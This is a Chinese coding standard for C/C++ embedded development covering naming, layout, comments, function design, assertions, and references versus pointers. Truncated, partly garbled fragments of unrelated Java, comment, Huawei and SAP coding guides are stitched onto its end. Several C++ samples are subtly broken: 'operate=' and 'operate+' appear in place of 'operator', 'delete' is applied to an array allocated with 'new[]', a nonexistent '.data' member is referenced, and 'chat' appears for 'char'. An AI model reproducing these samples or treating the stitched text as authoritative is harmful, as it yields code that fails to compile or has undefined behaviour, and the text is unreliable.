代码编写要求
软件代码编写规范
制定软件代码编写规范的目的是为了提高软件开发效率和软件的可维护性，提高软件质量。其中主要的规范有：程序风格、注释规范、程序健壮性、可移植性、错误处理及软件模块化规范等组成。目前硬件部从事单片机程序的开发统一采用以ICC为主的A VR单片机开发平台。主要采用C语言进行开发，目前正对C/C++的嵌入式软件开发规范有很多中，以下采用其中一种比较通用的代码规范供参考使用，日后可以在此基础上根据公司技术人员本身的特点做适当修改作为公司代码编写规范。
1 文件结构
每个C++/C程序通常分为两个文件。一个文件用于保存程序的声明（declaration），称为头文件。另一个文件用于保存程序的实现（implementation），称为定义（definition）文件。
C++/C程序的头文件以“.h”为后缀，C程序的定义文件以“.c”为后缀，C++程序的定义文件通常以“.cpp”为后缀
1.1 文件信息声明
文件信息声明位于头文件和定义文件的开头（参见示例1-1），主要内容有：
（1）版权信息；
（2）文件名称，项目代码，摘要，参考文献；
（3）当前版本号，作者/修改者，完成日期；
（4）版本历史信息；
（5）主要函数描述。
☆【规则1.1-1】文件信息声明以两行斜杠开始，以两行斜杠结束，每一行都以两个
斜杠开始；
☆【规则1.1-2】文件信息声明包含五个部分，各部分之间以一空行间隔；
☆【规则1.1-3】在主要函数部分描述了文件所包含的主要函数的声明信息，如果是
头文件，这一部分是可以省略的。
1.2 头文件的结构
头文件由三部分内容组成：
(1)头文件开头处的文件信息声明(参见示例1-1)；
(2)预处理块；
(3)函数和类结构声明等。
假设头文件名称为 filesystem.h，头文件的结构参见示例1-2。
☆【规则1.2-1】为了防止头文件被重复引用，应当用ifndef/define/endif结构产生预
处理块；“#ifndef”或者“#define”后以TAB键代替SPACE键做空
格；如果头文件名称是由多个单词组成，则各单词间以下划线“_”
连接，例如有头文件名称为“filesystem.h”，则定义如下：“#ifndef
_FILE_SYSTEM_H_”；
☆【规则1.2-2】用#include
标准库目录开始搜索)；
☆【规则1.2-3】用#include “filename.h” 格式来引用非标准库的头文件(编译器将
从用户的工作目录开始搜索)；
☆【建议1.2-1】头文件中只存放“声明”而不存放“定义”；
☆【建议1.2-1】头文件中应包含所有定义文件所定义的函数声明，如果一个头文件
对应多个定义文件，则不同定义文件内实现的函数要分开声明，并
作注释以解释所声明的函数从属于那一个定义文件；
☆【建议1.2-3】宏定义和函数声明分离，在两个头文件中定义，如果没有类成员函
数，可以将类和结构的定义与函数声明分离，也就是说一个头文件
专用于宏定义，一个头文件专用于类和结构的定义，一个头文件专
用于函数声明；
☆【建议1.2-4】在C++ 语法中，类的成员函数可以在声明的同时被定义，并且自动
成为内联函数。这虽然会带来书写上的方便，但却造成了风格不一
致，弊大于利。建议将成员函数的定义与声明分开，不论该函数体
有多么小。
头文件的结构如下：
1.3 定义文件的结构
定义文件有三部分内容：
(1)定义文件开头处的文件信息声明(参见示例1-1)；
(2)对一些头文件的引用；
(3)程序的实现体（包括数据和代码）。
假设定义文件的名称为 filesystem.c，定义文件的结构参见示例1-3。
1.5 目录结构
如果一个软件的头文件数目比较多（如超过十个），通常应将头文件和定义文件分别保存于不同的目录，以便于维护。
例如可将头文件保存于include目录，将定义文件保存于source目录（可以是多级目录）。
如果某些头文件是私有的，它不会被用户的程序直接引用，则没有必要公开其“声明”。为了加强信息隐藏，这些私有的头文件可以和定义文件存放于同一个目录。
2 命名规则
比较著名的命名规则当推“匈牙利”命名法，该命名规则的主要思想是“在变量和函数名中加入前缀以增进人们对程序的理解”。例如所有的字符变量均以ch为前缀，若是指针变量则追加前缀p。如果一个变量由ppch开头，则表明它是指向字符指针的指针。
“匈牙利”法最大的缺点是烦琐，例如
int i, j, k;
float x, y, z;
倘若采用“匈牙利”命名规则，则应当写成
int iI, iJ, ik; // 前缀 i表示int类型
float fX, fY, fZ; // 前缀 f表示float类型
在我们的软件编写中为提高软件的可移植性，变量一般是经过重定义的，在使用过程中参照下表：
2.1 共性原则
本节论述的共性规则是被大多数程序员采纳的，我们应当在遵循这些共性规则的前提下，再扩充特定的规则，如2.2节
☆【规则2.1-1】标识符应当直观且可以拼读，可望文知意，不必进行“解码”；
☆【规则2.1-2】标识符的长度应当符合“min-length && max-information”原则；☆【规则2.1-3】命名规则尽量与所采用的操作系统或开发工具的风格保持一致；
☆【规则2.1-4】程序中不要出现仅靠大小写区分的相似的标识符。
☆【规则2.1-5】程序中不要出现标识符完全相同的局部变量和全局变量，尽管两者
的作用域不同而不会发生语法错误，但会使人误解；
☆【规则2.1-6】变量的名字应当使用“名词”或者“形容词＋名词”；
☆【规则2.1-7】全局函数的名字应当使用“动词”或者“动词＋名词”(动宾词组)；☆【规则2.1-8】用正确的反义词组命名具有互斥意义的变量或相反动作的函数等；☆【建议2.1-1】尽量避免名字中出现数字编号，如Value1,Value2等，除非逻辑上
的确需要编号；
注：
2.1.1标识符最好采用英文单词或其组合，便于记忆和阅读，切忌使用汉语拼音来命名，
程序中的英文单词一般不要太复杂，用词应当准确，例如不要把CurrentV alue写成
NowV alue；
2.1.2标示符的长度应当以最小的长度实现最多信息，一般来说，长名字能更好地表达含
义，但并非长的变量名就一定要比短的变量名要好，此外单字符的名字也是有用的，
常见的如i,j,k,m,n,x,y,z等，它们通常可用作函数内的局部变量；
2.1.3不同的操作系统的程序设计风格是不一样的，例如Windows应用程序的标识符通
常采用“大小写”混排的方式，如AddChild，而Unix应用程序的标识符通常采用
“小写加下划线”的方式，如add_child，别把这两类风格混在一起使用；
2.2变量命名规则
☆【规则2.2-1】变量的命名规则要求采用“匈牙利法则”，即开头字母用变量的类型，
其余部分用变量的英文意思或其英文意思的缩写，尽量避免采用中
文拼音，要求单词的第一个字母大写；
即：变量名＝变量类型＋变量英文意思(或缩写)
变量类型请参见附表1－变量类型表；
☆【规则2.2-2】类名和函数名用大写字母开头的单词组合而成；对struct、union、class
变量的命名要求定义的类型用大写，结构采用S开头，联合体采用
U开头，类采用C开头；
例如：
struct SPoint
{
SWORD m_swX;
SWORD m_swY;
};
union URecordLen
{
UBYTE m_btRecordNum;
UBYTE m_btRecordLen;
}
class CNode
{
//类成员变量或成员函数
};
☆【规则2.2-3】指针变量命名的基本原则为：
一重指针变量的基本原则为：
变量名＝“p”＋变量类型前缀＋命名
对多重指针变量的基本原则为：
二重指针：
变量名＝“pp”＋变量类型前缀＋命名
三重指针：
变量名＝“ppp”＋变量类型前缀＋命名
......
例如一个short*型的变量应该表示为pnStart；
☆【规则2.2-4】全局变量用g_开头；例如一个全局的长型变量定义为g_lFileNum，
即：变量名＝g_＋变量类型＋变量的英文意思(或缩写)；
☆【规则2.2-5】静态变量采用s_开头；例如一个静态的指针变量定义为s_plPrevInst，
即：变量名＝s_＋变量类型＋变量的英文意思(或缩写)；
☆【规则2.2-6】类成员变量采用m_开头；例如一个长型成员变量定义为m_lCount，
即：变量名＝m_＋变量类型＋变量的英文意思(或缩写)；
☆【规则2.2-7】对const的变量要求在变量的命名规则前加入c_(若作为函数的输入
参数，可以不加)，
即：变量名＝c_＋变量命名规则，例如：
const char* c_szFileName；
☆【规则2.2-8】对枚举类型(enum)中的变量，要求用枚举变量或其缩写做前缀，且
用下划线隔离变量名，所有枚举类型都要用大写，例如：
enum EMDAYS
{
EMDAYS_MONDAY;
EMDAYS_TUESDAY;
......
}；
☆【规则2.2-9】对常量(包括错误的编码)命名，要求常量名用大写，常量名用英文意
思表示其意思，用下划线分割单词，例如：
#define CM_7816_OK 0x9000；
3 程序风格
程序风格虽然不会影响程序的功能，但会影响程序的可读性，追求清晰、美观，是程序风格的重要构成因素。
3.1 空行
空行起着分隔程序段落的作用。空行得体（不过多也不过少）将使程序的布局更加清晰。空行不会浪费内存，虽然打印含有空行的程序是会多消耗一些纸张，但是值得。
☆【规则3.1-1】在每个类声明之后、每个函数定义结束之后都要加空行。参见示例
3.1(a)；
☆【规则3.1-2】在一个函数体内，逻揖上密切相关的语句之间不加空行，其它地方
应加空行分隔。参见示例3.1(b)；
3.2 代码行
☆【规则3.2-1】一行代码只做一件事情，如只定义一个变量，或只写一条语句,这样
的代码容易阅读，并且方便于写注释；
☆【规则3.2-2】if、for、while、do等语句自占一行，执行语句不得紧跟其后，不论
执行语句有多少都要加{}，这样可以防止书写失误；
☆【规则3.2-3】if、for、while、do等语句的“{”要单独占用一行；
☆【建议3.2-1】所有函数内的变量都在函数开始处定义；
☆【建议3.2-2】尽可能在定义变量的同时初始化该变量(就近原则)，如果变量的引用
处和其定义处相隔比较远，变量的初始化很容易被忘记。如果引用了未被初始化的变量，可能会导致程序错误，本建议可以减少隐患。
示例3.2(a)为风格良好的代码行，示例3.2(b)为风格不良的代码行。
3.3 代码行内的空格
☆ 【规则3.3-1】
关键字之后要留空格，象const 、virtual 、inline 、case 等关键字之后
至少要留一个空格，否则无法辨析关键字，象if 、for 、while 等关键字之后应留一个空格再跟左括号‘（’，以突出关键字； ☆ 【规则3.3-2】 函数名之后不要留空格，紧跟左括号‘（’，以与关键字区别； ☆ 【规则3.3-3】 ‘（’向后紧跟，‘）’、‘，’、‘;’向前紧跟，紧跟处不留空格； ☆ 【规则3.3-4】
‘，’之后要留空格，如Function(x, y, z)，如果‘;’不是一行的结束符号，其后要留空格，如for (initialization; condition; update)；
☆ 【规则3.3-5】
赋值操作符、比较操作符、算术操作符、逻辑操作符、位域操作符，如“=”、“+=” “>=”、“<=”、“+”、“*”、“%”、“&&”、“||”、“
<<”,“^”等二元操作符的前后应当加空格； ☆ 【规则3.3-6】 一元操作符如“!”、“~”、“++”、“--”、“&”（地址运算符）等前后不加空格； ☆ 【规则3.3-7】 象“［］”、“.”、“->”这类操作符前后不加空格；
☆ 【建议3.3-1】
对于表达式比较长的for 语句和if 语句，为了紧凑起见可以适当地去掉一些空格，如for (i=0; i<10; i++)和if ((a<=b) && (c<=d))
3.4 对齐
☆【规则3.4-1】程序的分界符‘{’和‘}’应独占一行并且位于同一列，同时与引
用它们的语句左对齐；
☆【规则3.4-2】{ }之内的代码块在‘{’右边数格处左对齐；
☆【规则3.4.3】代码的的对齐采用TAB键而不采用空格键对齐，一般TAB键设置
为向后空4个空格。
示例3.4(a)为风格良好的对齐，示例3.4(b)为风格不良的对齐。
3.5 长行拆分
☆
【规则3.5-1】 代码行最大长度宜控制在70至80个字符以内；
☆ 【规则3.5-2】
长表达式要在低优先级操作符处拆分成新行，操作符放在新行之首（以便突出操作符），拆分出的新行要进行适当的缩进，使排版整齐，语句可读。
3.6 修饰符的位置
修饰符 * 和 ＆ 应该靠近数据类型还是该靠近变量名，是个有争议的活题，若将修饰符 * 靠近数据类型，例如：int* x; 从语义上讲此写法比较直观，即x 是int 类型的指针，上述写法的弊端是容易引起误解，例如：int* x, y; 此处y 容易被误解为指针变量。虽然将x 和y 分行定义可以避免误解，但并不是人人都愿意这样做。
☆【规则3.6-1】应当将修饰符* 和＆紧靠变量名；
3.7 注释
C语言的注释符为“/*…*/”。C++语言中，程序块的注释常采用“/*…*/”，行注释一般采用“//…”。注释通常用于：
（1）版本、版权声明；
（2）函数接口说明；
（3）重要的代码行或段落提示。
(4 ) 注释语言一般用中文
虽然注释有助于理解代码，但注意不可过多地使用注释。参见示例3.7。
☆【规则3.7-1】注释是对代码的“提示”，而不是文档，程序中的注释不可喧宾夺主，
注释太多了会让人眼花缭乱，注释的花样要少；
☆【规则3.7-2】如果代码本来就是清楚的，则不必加注释；例如
i++; // i 加 1，多余的注释
☆【规则3.7-3】边写代码边注释，修改代码同时修改相应的注释，以保证注释与代
码的一致性，不再有用的注释要删除；
☆【规则3.7-4】注释应当准确、易懂，防止注释有二义性，错误的注释不但无益反
而有害；
☆【规则3.7-5】尽量避免在注释中使用缩写，特别是不常用缩写；
☆【规则3.7-6】注释的位置应与被描述的代码相邻，可以放在代码的上方或右方，
不可放在下方；
☆【规则3.7-8】当代码比较长，特别是有多重嵌套时，应当在一些段落的结束处加
注释，便于阅读；
☆【建议3.7-1】对于多行代码的注释，尽量不采用“/*...*/”，而采用多行“//”注释，
这样虽然麻烦，但是在做屏蔽调试时不用查找配对的“/*...*/”。
示Array例
3.7
程
序
的
注
释3.7.1 文件头的注释
文件头的注释请参见1.1，文件头的注释是以两行斜杠开始，以两行斜杠结束(以区别于
函数的注释)。
3.7.2 函数头的注释
一般说来每个函数都应该做详细的注释，函数头的注释是以一行斜杠开始，以一行斜杠结束，注释的内容包括“功能”，“参数”，“返回值”，“设计思想”，“调用函数”，“日期”，“修改记录”等几个方面，函数头的注释格式如下：
4 函数设计
函数是C++/C程序的基本功能单元，其重要性不言而喻。函数设计的细微缺点很容易导致该函数被错用，所以光使函数的功能正确是不够的。本章重点论述函数的接口设计和内部实现的一些规则。
函数接口的两个要素是参数和返回值。C语言中，函数的参数和返回值的传递方式有两种：值传递（pass by value）和指针传递（pass by pointer）。C++ 语言中多了引用传递（pass by reference）。由于引用传递的性质象指针传递，而使用方式却象值传递，初学者常常迷惑不解，容易引起混乱，请先阅读6.6节“引用与指针的比较”。
4.1 参数的规则
☆【规则4.1-1】参数的书写要完整，不要贪图省事只写参数的类型而省略参数名字，
如果函数没有参数，则用void填充；例如：
void SetValue(int nWidth, int nHeight); // 良好的风格
void SetValue(int, int); // 不良的风格
float GetValue(void); // 良好的风格
float GetValue(); // 不良的风格
☆【规则4.1-2】参数命名要恰当，顺序要合理；
例如编写字符串拷贝函数StringCopy，它有两个参数，如果把参数
名字起为str1和str2，例如：
void StringCopy(char *str1, char *str2);
那么我们很难搞清楚究竟是把str1拷贝到str2中，还是刚好倒过来，
可以把参数名字起得更有意义，如叫strSource和strDestination。这
样从名字上就可以看出应该把strSource拷贝到strDestination。还有
一个问题，这两个参数那一个该在前那一个该在后？参数的顺序要
遵循程序员的习惯。一般地，应将目的参数放在前面，源参数放在
后面。如果将函数声明为：
void StringCopy(char *strSource, char *strDestination);
别人在使用时可能会不假思索地写成如下形式：
char str[20];
StringCopy(str, “Hello World”); // 参数顺序颠倒
☆【规则4.1-3】如果参数是指针，且仅作输入用，则应在类型前加const，以防止该
指针在函数体内被意外修改。例如：
void StringCopy(char *strDestination，const char *strSource);☆【规则4.1-4】如果输入参数以值传递的方式传递对象，则宜改用“const &”方式
来传递，这样可以省去临时对象的构造和析构过程，从而提高效率；☆【建议4.1-1】避免函数有太多的参数，参数个数尽量控制在5个以内。如果参数
太多，在使用时容易将参数类型或顺序搞错；
☆【建议4.1-2】尽量不要使用类型和数目不确定的参数；
C标准库函数printf是采用不确定参数的典型代表，其原型为：
int printf(const chat *format[, argument]…);
这种风格的函数在编译时丧失了严格的类型安全检查。
4.2 返回值的规则
☆【规则4.2-1】不要省略返回值的类型；
C语言中，凡不加类型说明的函数，一律自动按整型处理，这样做
不会有什么好处，却容易被误解为void类型；
C++语言有很严格的类型安全检查，不允许上述情况发生。由于C++
程序可以调用C函数，为了避免混乱，规定任何C++/ C函数都必须
有类型。如果函数没有返回值，那么应声明为void类型
☆【规则4.2-2】函数名字与返回值类型在语义上不可冲突；
违反这条规则的典型代表是C标准库函数getchar。
例如：
char c;
c = getchar();
if (c == EOF)
…
按照getchar名字的意思，将变量c声明为char类型是很自然的事情。
但不幸的是getchar的确不是char类型，而是int类型，其原型如下：
int getchar(void);
由于c是char类型，取值范围是[-128，127]，如果宏EOF的值在char
的取值范围之外，那么if语句将总是失败，这种“危险”人们一般
哪里料得到！导致本例错误的责任并不在用户，是函数getchar误导
了使用者
☆【规则4.2-3】不要将正常值和错误标志混在一起返回。正常值用输出参数获得，
而错误标志用return语句返回；
☆【建议4.2-1】有时候函数原本不需要返回值，但为了增加灵活性如支持链式表达，
可以附加返回值；
例如字符串拷贝函数strcpy的原型：
char *strcpy(char *strDest，const char *strSrc);
strcpy函数将strSrc拷贝至输出参数strDest中，同时函数的返回值又
是strDest。这样做并非多此一举，可以获得如下灵活性：
char str[20];
int nLength = strlen( strcpy(str, “Hello World”) );
☆【建议4.2-2】如果函数的返回值是一个对象，有些场合用“引用传递”替换“值
传递”可以提高效率。而有些场合只能用“值传递”而不能用“引
用传递”，否则会出错；
对于建议4.2-2，如果函数的返回值是一个对象，有些场合用“引用传递”替换“值传递”可以提高效率，而有些场合只能用“值传递”而不能用“引用传递”，否则会出错，例如：
class String
{…
// 赋值函数
String & operate=(const String &other);
// 相加函数，如果没有friend修饰则只许有一个右侧参数
friend String operate+( const String &s1, const String &s2);
private:
char *m_data;
};
String的赋值函数operate = 的实现如下：
String & String::operate=(const String &other)
{
if (this == &other)
return *this;
delete m_data;
m_data = new char[strlen(other.data)+1];
strcpy(m_data, other.data);
return *this; // 返回的是 *this的引用，无需拷贝过程
}
对于赋值函数，应当用“引用传递”的方式返回String对象。如果用“值传递”的方式，虽然功能仍然正确，但由于return语句要把 *this拷贝到保存返回值的外部存储单元之中，增加了不必要的开销，降低了赋值函数的效率。例如：
String a,b,c;
…
a = b; // 如果用“值传递”，将产生一次 *this 拷贝
a =
b = c; // 如果用“值传递”，将产生两次 *this 拷贝
String的相加函数operate + 的实现如下：
String operate+(const String &s1, const String &s2)
{
String temp;
delete temp.data; // temp.data是仅含‘\0’的字符串
temp.data = new char[strlen(s1.data) + strlen(s2.data) +1];
strcpy(temp.data, s1.data);
strcat(temp.data, s2.data);
return temp;
}
对于相加函数，应当用“值传递”的方式返回String对象。如果改用“引用传递”，那么函数返回值是一个指向局部对象temp的“引用”。由于temp在函数结束时被自动销毁，将导致返回的“引用”无效。例如：
c = a + b;
此时 a + b 并不返回期望值，c什么也得不到，流下了隐患。
4.3 函数内部实现的规则
不同功能的函数其内部实现各不相同，看起来似乎无法就“内部实现”达成一致的观点。但根据经验，我们可以在函数体的“入口处”和“出口处”从严把关，从而提高函数的质量。
☆【规则4.3-1】在函数体的“入口处”，对参数的有效性进行检查；
很多程序错误是由非法参数引起的，我们应该充分理解并正确使用
“断言”（assert）来防止此类错误。详见4.5节“使用断言”
☆【规则4.3-2】在函数体的“出口处”，对return语句的正确性和效率进行检查；
注意事项如下：
(1)return语句不可返回指向“栈内存”的“指针”或者“引用”，因为该内存在函数体结
束时被自动销毁，例如：
char * Func(void)
{
char str[] = “hello world”; // str的内存位于栈上
…
return str; // 将导致错误
}
(2)要搞清楚返回的究竟是“值”、“指针”还是“引用”；
(3)如果函数返回值是一个对象，要考虑return语句的效率，例如：
return String(s1 + s2);
这是临时对象的语法，表示“创建一个临时对象并返回它”，不要以为它与“先创建一个局部对象temp并返回它的结果”是等价的，如
String temp(s1 + s2);
return temp;
实质不然，上述代码将发生三件事。
首先，temp对象被创建，同时完成初始化；
然后拷贝构造函数把temp拷贝到保存返回值的外部存储单元中；
最后，temp在函数结束时被销毁（调用析构函数）。
然而“创建一个临时对象并返回它”的过程是不同的，编译器直接把临时对象创建并初始化在外部存储单元中，省去了拷贝和析构的化费，提高了效率。
类似地，我们不要将
return int(x + y); // 创建一个临时变量并返回它
写成
int temp = x + y;
return temp;
由于内部数据类型如int,float,double的变量不存在构造函数与析构函数，虽然该“临时变量的语法”不会提高多少效率，但是程序更加简洁易读。
4.4 其它建议
☆【建议4.4-1】函数的功能要单一，不要设计多用途的函数；
☆【建议4.4-2】函数体的规模要小，尽量控制在150行代码之内；
☆【建议4.4-3】尽量避免函数带有“记忆”功能。相同的输入应当产生相同的输出
带有“记忆”功能的函数，其行为可能是不可预测的，因为它的行
为可能取决于某种“记忆状态”。这样的函数既不易理解又不利于测
试和维护。在C/C++语言中，函数的static局部变量是函数的“记忆”
存储器。建议尽量少用static局部变量，除非必需。
☆【建议4.4-4】不仅要检查输入参数的有效性，还要检查通过其它途径进入函数体
内的变量的有效性，例如全局变量、文件句柄等；
☆【建议4.4-5】用于出错处理的返回值一定要清楚，让使用者不容易忽视或误解错
误情况。
4.5 使用断言
程序一般分为Debug版本和Release版本，Debug版本用于内部调试，Release版本发行给用户使用。
断言assert是仅在Debug版本起作用的宏，它用于检查“不应该”发生的情况。示例4.5是一个内存复制函数。在运行过程中，如果assert的参数为假，那么程序就会中止（一般地还会出现提示对话，说明在什么地方引发了assert）。
assert不是一个仓促拼凑起来的宏。为了不在程序的Debug版本和Release版本引起差别，assert不应该产生任何副作用。所以assert不是函数，而是宏。程序员可以把assert看成一个在任何系统状态下都可以安全使用的无害测试手段。如果程序在assert处终止了，并不是说含有该assert的函数有错误，而是调用者出了差错，assert可以帮助我们找到发生错误的原因。
☆【规则4.5-1】使用断言捕捉不应该发生的非法情况，不要混淆非法情况与错误情
况之间的区别，后者是必然存在的并且是一定要作出处理的；
☆【规则4.5-2】在函数的入口处，使用断言检查参数的有效性（合法性）；
☆【建议4.5-1】在编写函数时，要进行反复的考查，并且自问：“我打算做哪些假
定？”一旦确定了的假定，就要使用断言对假定进行检查；
☆【建议4.5-2】一般教科书都鼓励程序员们进行防错设计，但要记住这种编程风格
可能会隐瞒错误。当进行防错设计时，如果“不可能发生”的事情
的确发生了，则要使用断言进行报警。
4.6 引用与指针的比较
引用是C++中的概念，初学者容易把引用和指针混淆一起。一下程序中，n是m的一个引用（reference），m是被引用物（referent）。
int m;
int &n = m;
n相当于m的别名（绰号），对n的任何操作就是对m的操作。所以n既不是m的拷贝，也不是指向m的指针，其实n就是m它自己。
引用的一些规则如下：
（1）引用被创建的同时必须被初始化（指针则可以在任何时候被初始化）；
（2）不能有NULL引用，引用必须与合法的存储单元关联（指针则可以是NULL）；
（3）一旦引用被初始化，就不能改变引用的关系（指针则可以随时改变所指的对象）。
以下示例程序中，k被初始化为i的引用。语句k = j并不能将k修改成为j的引用，只是把k的值改变成为6。由于k是i的引用，所以i的值也变成了6。
int i = 5;
int j = 6;
int &k = i;
k = j; // k和i的值都变成了6;
上面的程序看起来象在玩文字游戏，没有体现出引用的价值。引用的主要功能是传递函数的参数和返回值。C++语言中，函数的参数和返回值的传递方式有三种：值传递、指针传递和引用传递。
以下是“值传递”的示例程序。由于Func1函数体内的x是外部变量n的一份拷贝，改变x的值不会影响n, 所以n的值仍然是0。
void Func1(int x)
{
x = x + 10;
}
…
int n = 0;
Func1(n);
cout << “n = ” << n << endl; // n = 0
以下是“指针传递”的示例程序。由于Func2函数体内的x是指向外部变量n的指针，改变该指针的内容将导致n的值改变，所以n的值成为10。
void Func2(int *x)
{
(* x) = (* x) + 10;
}
…
int n = 0;
Func2(&n);
cout << “n = ” << n << endl; // n = 10
以下是“引用传递”的示例程序。由于Func3函数体内的x是外部变量n的引用，x和n是同一个东西，改变x等于改变n，所以n的值成为10。
void Func3(int &x)
{
x = x + 10;
}
…
int n = 0;
Func3(n);
cout << “n = ” << n << endl; // n = 10
对比上述三个示例程序，会发现“引用传递”的性质象“指针传递”，而书写方式象“值传递”。
代码编写规范
知识管理系统代码编写规范 一、介绍 本文档为《知识管理系统》代码编写规范，为保证代码风格的一致性和后期的可维护性，文档讲述的内容要求所有开发人员必须遵守。 本规范主要参考了Google Java Style，包括了其他一些业界约定俗成的公约和普遍采用的标准。本规范并非最终标准，一些规定还需再做商讨。 1.1 术语说明 本文档除非特殊说明，否则： 1. 类（class）统指普通类、枚举类、接口和注解类型。 2. 注释（comment）只用来指实现注释（implementation comments）。我们不使用“文 档注释”这样的说法，而会直接说Javadoc。 其他“术语说明”，将在文档中需要说明的地方单独说明。 1.2 文档说明 本文档中的代码并不一定符合所有规范。即使这些代码遵循本规范，但这不是唯一的代码方式。例子中可选的格式风格也不应该作为强制执行的规范。
二、源码文件基础 2.1 文件名 源文件以其最顶层的类名来命名，大小写敏感，文件扩展名为.java。 2.2 文件编码：UTF-8 源码文件使用UTF-8编码。 2.3 特殊字符 2.3.1 空格字符 除了换行符外，ASCII 水平空白字符（0x20）是源码文件中唯一支持的空格字符。这意味着： 1. 其他空白字符将被转义。 2. Tab字符不被用作缩进控制。 2.3.2 特殊转义字符串 任何需要转义字符串表示的字符（例如\b, \t, \n, \f, \r, \", \'和\\等），采用这种转义字符串的方式表示，而不采用对应字符的八进制数（例如\012）或Unicode 码（例如\u000a）表示。 2.3.3 非ASCII 字符 对于其余非ASCII字符，直接使用Unicode字符（例如∞），或者对应的Unicode 码（例如\u221e）转义都是允许的。唯一需要考虑的是，何种方式更能使代码容易阅读和理解。
程序代码注释编写规范
程序代码注释编写规范 为提高控制程序的阅读性与可理解性，现制定相关代码程序代码注释编写的编写规范。 一般情况下，源程序有效注释量必须在20％以上，注释的原则是有助于对程序的阅读理解，在该加的地方都加了，注释不宜太多也不能太少，注释语言必须准确、易懂、简洁。 常规注释有以下两种方式。 单行:以"//"符号开始，任何位于该符号之后的本行文字都视为注释。 多行:以"/*"符号开始，以"*/"结束。任何介于这对符号之间的文字都视为注释。 一、说明性文件 说明性文件（如头文件.h文件、.inc文件、.def文件、编译说明文件.cfg等）头部应进行注释，注释必须列出：版权说明、版本号、生成日期、作者、内容、功能、与其它文件的关系、修改日志等，头文件的注释中还应有函数功能简要说明。 示例：下面这段头文件的头注释比较标准，当然，并不局限于此格式，但上述信息建议要包含在内。 /************************************************* COPYRIGHT (C), MicTiVo International. Co., Ltd. File NAME: // 文件 Author: Version: Date: // 作者、版本及完成日期 DESCRIPTION: // 用于详细说明此程序文件完成的主要功能，与其他模块 // 或函数的接口，输出值、取值范围、含义及参数间的控 // 制、顺序、独立或依赖等关系 Others: // 其它内容的说明 Function List: // 主要函数列表，每条记录应包括函数名及功能简要说明 1.... History: // 修改历史记录列表，每条修改记录应包括修改日期、修改 // 者及修改内容简述 1. Date: Author: Modification: 2. .. *************************************************/ 二、源文件头 源文件头部应进行注释，列出：版权说明、版本号、生成日期、作者、模块目的/功能、主要函数及其功能、修改日志等。 示例：下面这段源文件的头注释比较标准，当然，并不局限于此格式，但上述信息建议要包含在内。 /************************************************************ COPYRIGHT (C), MicTiVo International. Co., Ltd. FileName: Author:
程序代码注释编写规范
百度文库- 让每个人平等地提升自我 1 程序代码注释编写规范 为提高控制程序的阅读性与可理解性，现制定相关代码程序代码注释编写的编写规范。 一般情况下，源程序有效注释量必须在20％以上，注释的原则是有助于对程序的阅读理解，在该加的地方都加了，注释不宜太多也不能太少，注释语言必须准确、易懂、简洁。 常规注释有以下两种方式。 单行:以"文件、.inc文件、.def文件、编译说明文件.cfg等）头部应进行注释，注释必须列出：版权说明、版本号、生成日期、作者、内容、功能、与其它文件的关系、修改日志等，头文件的注释中还应有函数功能简要说明。 示例：下面这段头文件的头注释比较标准，当然，并不局限于此格式，但上述信息建议要包含在内。 /************************************************* (C), MicTiVo International. Co., Ltd. 1.File : . History: Date: Author: Modification: 2. .. *************************************************/ 一、源文件头 源文件头部应进行注释，列出：版权说明、版本号、生成日期、作者、模块目的/功能、主要函数及其功能、修改日志等。 示例：下面这段源文件的头注释比较标准，当然，并不局限于此格式，但上述信息建议要包含在内。 /************************************************************ (C), MicTiVo International. Co., Ltd. FileName: Author: Version : Date: : / /*receive _process() */ 意:与溢出中断写初值不同}
华为JAVA编程规范
1 Java 编程规范 1.1 排版 1.1.1 规则 规则1程序块要采用缩进风格编写，缩进的空格数为4个，不允许使用TAB缩进。(1.42+) 说明：缩进使程序更易阅读，使用空格缩进可以适应不同操作系统与不同开发工具。 规则2分界符（如大括号…{?和…}?）应各独占一行，同时与引用它们的语句左对齐。在函数体的开始、类和接口的定义、以及if、for、do、while、switch、case语句中的程序 或者static、,synchronized等语句块中都要采用如上的缩进方式。(1.42+) 示例: if (a>b) { doStart(); } 规则3较长的语句、表达式或参数（>80字符）要分成多行书写，长表达式要在低优先级操作符处划分新行，操作符放在新行之首，划分出的新行要进行适当的缩进，使排版整齐， 语句可读。(1.42+) 示例： if (logger.isDebugEnabled()) { logger.debug("Session destroyed,call-id" + event.getSession().getCallId()); } 规则4不允许把多个短语句写在一行中，即一行只写一条语句(1.42+) 说明：阅读代码更加清晰 示例：如下例子不符合规范。 Object o = new Object(); Object b = null; 规则5if, for, do, while, case, switch, default 等语句自占一行，且if, for, do, while,switch等语句的执行语句无论多少都要加括号{},case 的执行语句中如果定义变量必须加括号{}。 (1.42+) 说明：阅读代码更加清晰，减少错误产生 示例： if (a>b) { doStart(); }
SAP开发规范
目录 目录 (1) SAP开发规范 (3) 1说明 (3) 1.1内容说明 (3) 1.2规范目的 (3) 1.3使用说明 (3) 1.4使用对象 (3) 2一般规则 (3) 3代码管理 (4) 3.1程序标题 (4) 3.2子程序、模块标题 (5) 3.3编辑器设置 (5) 3.4代码格式 (7) 3.4.1使用规范化打印机 (7) 3.4.2查询SQL语句的写法 (7) 3.5变更记录管理 (7) 3.6代码注释 (8) 3.7子程序与函数模块 (9) 3.8其它注意事项 (9) 4数据库查询 (9) 4.1不要在L OOP循环中使用S ELECT语句 (9) 4.2取数的时候不能使用S ELECT......E NDSELECT语句循环操作 (9) 4.3尽量多使用内表 (9) 4.4S ELECT
5.2内表使用 (12) 5.2.1修改内表中的字段值 (12) 5.2.2把一个内表附加到另一个内表后面 (12) 5.2.3删除内表中重复行 (13) 5.2.4根据条件删除内表中的行 (13) 5.2.5内表是否为空的判断 (13) 5.2.6读取内表行 (13) 5.2.7通过LOOP AT it_tab ASSIGNING
程序代码编写规范
程序编写规范及约定 (仅供内部使用) 文档作者：_______________ 日期：___/___/___ 开发/测试经理：_______________ 日期：___/___/___ 项目经理：_______________ 日期：___/___/___ 请在这里输入公司名称 版权所有不得复制
